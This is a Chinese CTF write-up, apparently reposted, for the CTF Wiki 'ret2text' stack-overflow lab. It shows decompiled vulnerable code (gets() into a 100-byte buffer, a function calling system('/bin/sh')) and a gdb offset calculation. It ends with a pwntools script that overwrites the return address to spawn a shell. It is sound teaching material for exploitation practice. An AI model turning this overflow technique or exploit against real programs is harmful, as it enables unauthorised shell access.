[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF Wiki Pwn]Stackoverflow Lab001: ret2text相关的知识,希望对你有一定的参考价值。

1、检查保护机制

checksec的结果:
在这里插入图片描述

2、IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(v4);
  printf("Maybe I will tell you next time !");
  return 0;
}
void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
    system("/bin/sh");
}

3、解题思路

本题应劫持return address到secure函数的system系统调用。
**第一步:**gdb调试,查看system系统调用的上下文地址:
在这里插入图片描述
**第二步:**计算return address的位置:
在计算return address的位置时有个矛盾,ida中显示:
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF
表明覆盖return address应为0x64+4;
同时,disass main显示:
0x080486a7 <+95>: lea eax,[esp+0x1c]
表明覆盖的首地址为esp+0x1c,gdb跟到该位置,计算该位置与return address的位置为0x6c+4。
问题一:两者出现矛盾,为什么?
原因是进入main函数后,进行了栈16字节对齐,对齐后esp减掉了8,导致ida分析有误。

4、exp

exp为:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

以上是关于[CTF Wiki Pwn]Stackoverflow Lab001: ret2text的主要内容,如果未能解决你的问题,请参考以下文章

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

[CTF Wiki Pwn]Stackoverflow: ret2reg